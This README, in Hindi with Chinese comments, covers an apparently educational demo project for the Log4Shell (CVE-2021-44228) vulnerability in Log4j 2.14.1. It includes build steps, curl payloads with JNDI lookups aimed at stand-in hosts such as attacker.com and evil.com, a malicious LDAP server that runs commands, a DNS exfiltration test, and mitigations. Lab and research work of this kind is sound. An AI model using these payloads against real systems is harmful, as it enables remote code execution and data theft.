
Demo of CVE-2021-44228 Log4Shell.
यह Log4j2 रिमोट कोड निष्पादन भेद्यता (Log4Shell) के अध्ययन और अनुसंधान के लिए एक प्रदर्शन परियोजना है।
यह परियोजना केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है, कृपया उत्पादन वातावरण में उपयोग न करें!
इस परियोजना में गंभीर सुरक्षा भेद्यता वाले Log4j 2.14.1 संस्करण का उपयोग किया गया है।
./mvnw clean package
./mvnw spring-boot:run
या:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
ब्राउज़र खोलें और http://localhost:8080 पर जाएँ
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) Apache Log4j2 में एक गंभीर भेद्यता है। जब एप्लिकेशन उपयोगकर्ता इनपुट को लॉग करता है जिसमें विशेष प्रारूप स्ट्रिंग्स होती हैं, Log4j2 JNDI लुकअप एक्सप्रेशन को पार्स करता है, और हमलावर इस सुविधा का उपयोग करके रिमोट कोड निष्पादित कर सकते हैं।
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Log4j2 को 2.17.1 या उच्चतर संस्करण में अपग्रेड करें:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. 运行自动化脚本
./setup-exploit-server.sh
# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令(如 whoami 或 cat /etc/hosts)
# 4. 在另一个终端发送攻击载荷
# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"
# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"
# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh
# 按提示操作,访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求
यह परियोजना MIT लाइसेंस के तहत ओपन-सोर्स है।
विशेष घोषणा: यह परियोजना केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है, उपयोगकर्ता अपने उपयोग के जोखिम स्वयं वहन करते हैं।
बिना अधिकार के दूसरों के सिस्टम पर पेनिट्रेशन टेस्ट करना अवैध है! यह परियोजना केवल इसके लिए है:
कृपया स्थानीय कानूनों का पालन करें और इन ज्ञान का जिम्मेदारी से उपयोग करें।